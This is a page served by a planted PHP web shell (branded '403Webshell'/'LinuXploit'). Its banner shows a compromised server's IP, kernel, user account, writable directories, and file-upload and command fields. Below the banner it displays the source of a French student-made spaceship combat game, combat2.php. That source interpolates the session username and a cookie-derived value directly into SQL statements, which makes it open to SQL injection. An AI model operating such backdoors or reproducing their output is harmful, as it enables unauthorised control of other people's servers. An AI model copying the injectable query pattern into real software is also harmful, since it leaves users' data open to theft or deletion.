403Webshell
Server IP : 109.234.162.214  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux servd162214.srv.odns.fr 4.18.0-372.26.1.lve.1.el8.x86_64 #1 SMP Fri Sep 16 14:08:19 EDT 2022 x86_64
User : carpe ( 1178)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/carpe/www/starship/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/carpe/www/starship/combat2.php
<?php

session_start();
        
include 'objet.php';
include 'database.php';
        
$database = new Database();
$connexion = $database->getConnection();

        
if(isset($_SESSION['login'])){
            
}else{
    header("Location: login.php");
    setcookie("resultat", "", time() - 3600, "/");
}

if(isset($_POST['send'])){
    header("Location: login.php");
    setcookie("resultat", "", time() - 3600, "/");
    session_destroy();
    
    //supprimer les élements de la BDD ? 
    $id = getId($connexion);
    $delete1 = "delete from users where id_user = '$id'";
    $statement1 = $connexion->prepare($delete1);
    $statement1->execute();
    $delete2 = "delete from team where id_user = '$id'";
    $statement2 = $connexion->prepare($delete2);
    $statement2->execute();
    $delete3 = "delete from persos where id_user = '$id'";
    $statement3 = $connexion->prepare($delete3);
    $statement3->execute();
    $delete4 = "delete from vaisseaux where id_user = '$id'";
    $statement4 = $connexion->prepare($delete4);
    $statement4->execute();
    $delete5 = "delete from combat where id_user = '$id'";
    $statement5 = $connexion->prepare($delete5);
    $statement5->execute();
}

if(isset($_POST['send2'])){
    header("Location: end.php");
    $_SESSION['end'] = "Vous avez vaincu la Fondatione et récupéré MULET, félicitations !";
}
?> 

<!DOCTYPE html>
<html>
<head>
    <title>Starship</title>
    <meta charset="utf-8">
</head>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Nabla&family=Quicksand:wght@300..700&family=VT323&display=swap" rel="stylesheet">
<style>

    body{
        background:black;
        width:100%;
        height:100vh;
        display:flex;
        justify-content:center;
        align-items:center;
        padding:0;
        margin:0;
        color:white;
    }
    
    .result{
        position:absolute;
        bottom:100px;
        color:#d0c2c2;
        font-family: "VT323", monospace;
        font-size:2rem;
        text-align:center;
        width:100%;
    }
    
    .result2{
        position:absolute;
        bottom:30px;
    }
    
    #contain{
        width:800px;
        height:500px;
        background:#F2F2F2;
        background:black;
        border: 5px solid #d0c2c2;
        display:flex;
        justify-content:center;
        align-items:center;
        flex-wrap:wrap;
  
        
    }
    
    #end{
        width:600px;
        height:300px;
        background:#F2F2F2;
        background:black;
        border: 5px solid #d0c2c2;
        position:absolute;
        display:flex;
        justify-content:center;
        align-items:center;
        flex-wrap:wrap;
    }
    #contain h1{
        color:#d0c2c2;
        font-family: "VT323", monospace;
        font-size:3rem;
        text-align:center;
    }
    
    #contain div{
        display:flex;
        gap:20px;
        justify-content:center;
    }
    #contain div h3{
        color:#d0c2c2;
        font-family: "VT323", monospace;
        font-size:2rem;
    }
    #contain form{
        width:100%;
        display:flex;
        justify-content:center;
        align-items:center;
    }
    #contain input{
        margin:auto;
        background:#d0c2c2;
        color:black;
        font-family: "VT323", monospace;
        font-size:2rem;
        border: 5px solid #d0c2c2;
        transition:.5s all;
        cursor:pointer;
    }
    
    #contain input:hover{
        transition:.5s all;
        color:#d0c2c2;
        background:black;
    }
    
    #deco input{
        position:absolute;
        color:black;
        background:#d0c2c2;
        font-family: "VT323", monospace;
        font-size:1.5rem;
        top:0;
        left:0;
        z-index:999;
        outline:none;
        cursor:pointer;
        border:none;
        transition: .5s all;
        border : 5px solid #d0c2c2;
    }
    
    #deco input:hover{
        color:#d0c2c2;
        background:black;
        transition: .5s all;
        
    }
    
    .note{
        position:absolute;
        right:0;
        width:300px;
        border : 5px solid #d0c2c2;
    }
    .note h1{
        margin:20px;
        color:#d0c2c2;
        font-family: "VT323", monospace;
        font-size:3rem;
    }
    
    .note p{
        margin:20px;
        color:#d0c2c2;
        font-family: "VT323", monospace;
        font-size:2rem;
    }
    
    #v5{
        width:400px;
        margin:auto;
        cursor:pointer;
        transition:.5s all;
    }
    #v5:hover{
        transform:scale(1.2);
        transition:.5s all;
    }
    
    #text2{
        position:absolute;
        color:#d0c2c2;
        top:100px;
        font-family: "VT323", monospace;
        font-size:2rem;
        text-align:center;
        width:650px;
    }
    
    #enemi{
        position:absolute;
        left:0;
        width:300px;
        border : 5px solid #d0c2c2;
        padding:20px;
        background:black;
        z-index:9;
        display:flex;
        justify-content:center;
        align-items:center;
        flex-wrap:wrap;
    }
    
    #enemi h1{
        margin:10px;
        padding:0;
    }
    
    #toi{
        position:absolute;
        right:0;
        width:300px;
        border : 5px solid #d0c2c2;
        padding:20px;
        background:black;
        z-index:9;
        display:flex;
        justify-content:center;
        align-items:center;
        flex-wrap:wrap;
    }
    
    #toi h1{
        margin:10px;
        padding:0;
    }
    
    #rep1{
        position:absolute;
        bottom:0;
        right:0;
        color:#d0c2c2;
        font-family: "VT323", monospace;
        font-size:2rem;
        margin:40px;
    }
    
    #rep2{
        position:absolute;
        bottom:0;
        left:0;
        color:#d0c2c2;
        font-family: "VT323", monospace;
        font-size:2rem;
        margin:40px;
    }
    p{
       color:#d0c2c2;
        font-family: "VT323", monospace;
        font-size:1.4rem; 
        margin:0;
        padding:0;
    }
    
    
    
</style>
<body>
    <form id='deco' method='POST' action='univers.php'>
        <input type='submit' name='deco' value='Deconnexion'>
    </form>
    <!--
    <div class='note'>
        <h1>Explications et astuces</h1>
        <p></p>
    </div>
    -->
    <div id='contain'>
        <img id='v5' src='images/v5.png'>
        <h2 id='text2'>Vous entrez dans la zone de combat et tombez face à face avec un vaisseau de la Fondation...</h2>
        <form method='post' action='combat2.php'>
            <input type='submit' name='attaquer' value='Attaquer'>
            <input type='submit' name='reload' value='Recharger'>
            <input type='submit' name='protection' value='Se protéger'>
        </form>
        <?php
        
        function getId($connexion){
            $username = $_SESSION['login'];
            $sql = "SELECT id_user from users where username = '$username'";
            $statement = $connexion->prepare($sql);
            $statement->execute();
            $results = $statement->fetchAll(PDO::FETCH_ASSOC);
            foreach ($results as $row) {
                $id = $row['id_user'];
                return $id;
            }
        }
        
        if(isset($_COOKIE['resultat2'])){
            //setcookie("resultat2", "", time() - 3600, "/");
            $text = $_COOKIE['resultat2'];
            
            if($text == "Vaisseau Blorps"){
                    $nomVaisseau = "Blorps";
                }
                if($text == "Vaisseau Aurora"){
                    $nomVaisseau = "Aurora";
                }
                if($text == "Vaisseau Spectrus"){
                    $nomVaisseau = 'Spectrus';
                }
        }
        
        
        
        //echo $text;
        

        
        //$monVaisseau = new Vaisseau($nomVaisseau,100,100,100,2);
        //$enemi = new Vaisseau('Fondation',100,100,100,2);
        
        $id=getId($connexion);
        
        
        
        
        $sql = "SELECT * from combat where id_user = '$id'";
        $statement1 = $connexion->prepare($sql);
        $statement1->execute();
        $results = $statement1->fetchAll(PDO::FETCH_ASSOC);
        if(empty($results)){
            $insert1 = "INSERT INTO `combat`(`id_user`, `nom`, `vie`, `recharge`) VALUES ('$id','$nomVaisseau','100','2') ";
            $statement = $connexion->prepare($insert1);
            $statement->execute();
            
            $insert2 = "INSERT INTO `combat`(`id_user`, `nom`, `vie`, `recharge`) VALUES ('$id','Fondation','100','2') ";
            $statement2 = $connexion->prepare($insert2);
            $statement2->execute();
            
            $monVaisseau = new Vaisseau($nomVaisseau,100,100,100,2);
            $enemi = new Vaisseau('Fondation',100,100,100,2);
        }else{
            foreach($results as $value){
                //echo $value['nom'];
                if($value['nom'] == 'Fondation'){
                    $vie = $value['vie'];
                    $recharge = $value['recharge'];
                    $enemi = new Vaisseau('Fondation',100,100,$vie,$recharge);
                    //echo "OOOOOOOOOOOOOOOOOOOO";
                }else{
                    $vie = $value['vie'];
                    $recharge = $value['recharge'];
                    $monVaisseau = new Vaisseau($nomVaisseau,100,100,$vie,$recharge);
                    
                }
            }
        }
        
        if($monVaisseau->getVie()<0){
            //echo "perdu";
            echo "<div id='end'><h1>Vous avez perdu...</h1><form method='post' action='combat2.php'><input type='submit' name='send' value='Retour au menu'></form></div>";
        }
        
        if($enemi->getVie()<0){
            //echo "gagné";
            //header("Location:end.php");
            echo "<div id='end'><h1>Vous avez gagné !</h1><form method='post' action='combat2.php'><input type='submit' name='send2' value='Finir le jeu'></form></div>";
        }
        
        function strike1($enemi,$monVaisseau,$connexion){
            echo "<div id='rep2'>";
            $enemi->attaquer($monVaisseau);
            echo "</div>";
            //echo "L'enemi attaque";
            
            $id = getId($connexion);
            
            $tab = $monVaisseau->toArray();
            $vie = $tab['vie'];
            $recharge = $monVaisseau->getRecharge();
            $recharge2 = $enemi->getRecharge();
            $tab2 = $monVaisseau->getNom();
            
            $update ="UPDATE `combat` SET `vie`='$vie',`recharge`='$recharge' WHERE id_user = '$id' and nom = '$tab2'";
            $statement4 = $connexion->prepare($update);
            $statement4->execute();
            
            $update2 ="UPDATE `combat` SET `recharge`='$recharge2' WHERE id_user = '$id' and nom = 'Fondation'";
            $statement2 = $connexion->prepare($update2);
            $statement2->execute();
        }
        
        function strike2($enemi,$connexion){
            $enemi->bouclierOn();
            echo "<div id='rep2'>L'enemi se protège</div>";
            $balles = $enemi->getRecharge();
            
            $id=getId($connexion);
            $update ="UPDATE `combat` SET `recharge`='$balles' WHERE id_user = '$id' and nom = 'Fondation'";
            $statement4 = $connexion->prepare($update);
            $statement4->execute();
        }
        
        function strike3($enemi,$connexion){
            $enemi->recharge();
            echo "<br/>";
            echo "<div id='rep2'>L'enemi recharge</div>";
            $balles = 2;
            $id=getId($connexion);
            
            $update ="UPDATE `combat` SET `recharge`='$balles' WHERE id_user = '$id' and nom = 'Fondation'";
            $statement4 = $connexion->prepare($update);
            $statement4->execute();

        }
        
        function fonctionAleatoire($enemi,$monVaisseau,$connexion) {
            $reload = $enemi->getRecharge();
            if($reload == 1){
                $fonctions = ['strike1', 'strike2', 'strike3'];
            }else if($reload == 0){
                $fonctions = ['strike2', 'strike3'];
            }else{
                $fonctions = ['strike1','strike2'];;
            }
            
            $fonctionChoisie = $fonctions[array_rand($fonctions)];
            if ($fonctionChoisie === 'strike1') {
                return strike1($enemi, $monVaisseau,$connexion);
            } else {
                return $fonctionChoisie($enemi,$connexion);
            }
        }
        
        
        

        
        if(isset($_POST['reload'])){
            echo "<div id='rep1'>";
            
            echo $monVaisseau->recharge();
            $tab = $monVaisseau->getNom();
            //$monVaisseau->getNom();
            echo "</div>";
            
            $id=getId($connexion);
            $update3 ="UPDATE `combat` SET `recharge`='2' WHERE id_user = '$id' and nom = '$tab'";
            $statement43 = $connexion->prepare($update3);
            $statement43->execute();
            
            fonctionAleatoire($enemi,$monVaisseau,$connexion);
        }
        
        $monVaisseau->bouclierOff();
        
        if(isset($_POST['attaquer'])){
            //echo "OH";
            //echo $monVaisseau->getNom();
            fonctionAleatoire($enemi,$monVaisseau,$connexion);
            echo "<div id='rep1'>";
            $monVaisseau->attaquer($enemi);
            echo "</div>";
            
            //$enemi->attaquer($monVaisseau);
            
            $enemiTab = $enemi->toArray();
            $vieFondation = $enemiTab['vie'];
            $rechargeFondation = $enemiTab['recharge'];
            
            $update ="UPDATE `combat` SET `vie`='$vieFondation',`recharge`='$rechargeFondation' WHERE id_user = '$id' and nom = 'Fondation'";
            $statement4 = $connexion->prepare($update);
            $statement4->execute();
            
            $tab = $monVaisseau->toArray();
            $vie = $tab['vie'];
            $recharge = $tab['recharge'];
            $tab2 = $monVaisseau->getNom();
            
            $update ="UPDATE `combat` SET `vie`='$vie',`recharge`='$recharge' WHERE id_user = '$id' and nom = '$tab2'";
            $statement4 = $connexion->prepare($update);
            $statement4->execute();
            
            

        }
        
        if(isset($_POST['protection'])){
            $monVaisseau->bouclierOn();
            echo "<div id='rep1'>";
            echo "Vos boucliers sont activés</div>";
            
            fonctionAleatoire($enemi,$monVaisseau,$connexion);
            
        }
        
        

        
        //select tt les vaisseaux qui peuvent décoller
        //créer l'objet php
        
        //créer les enemis 
        //fin du combat = victoire
        
        //deux boutons attaquer / protéger.
        //rechargement de la page + envoi des données à la BDD
        
        echo "<div id='enemi'><h1>Vaisseau enemi</h1>";
        
        $id = getId($connexion);
        
        $sql = "select * from combat where id_user ='$id' and nom = 'Fondation'";
        $statement = $connexion->prepare($sql);
        $statement->execute();
        $results = $statement->fetchAll(PDO::FETCH_ASSOC);
        foreach($results as $value){
            echo "<p>Vie : ";
            echo $value['vie'];
            echo "<br/>";
            echo "Tirs restants : ";
            echo $value['recharge'];
            echo "</p>";
        }
        
        echo "</div>";
        
        echo "<div id='toi'><h1>Ton vaisseau</h1>";
        
        $id = getId($connexion);
        
        $sql = "select * from combat where id_user ='$id' and nom != 'Fondation'";
        $statement = $connexion->prepare($sql);
        $statement->execute();
        $results = $statement->fetchAll(PDO::FETCH_ASSOC);
        foreach($results as $value){
            echo "<p>Vie : ";
            echo $value['vie'];
            echo "<br/>";
            echo "Tirs restants : ";
            echo $value['recharge'];
            echo "</p>";
        }
        
        echo "</div>";
        
        
        

?>
    </div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit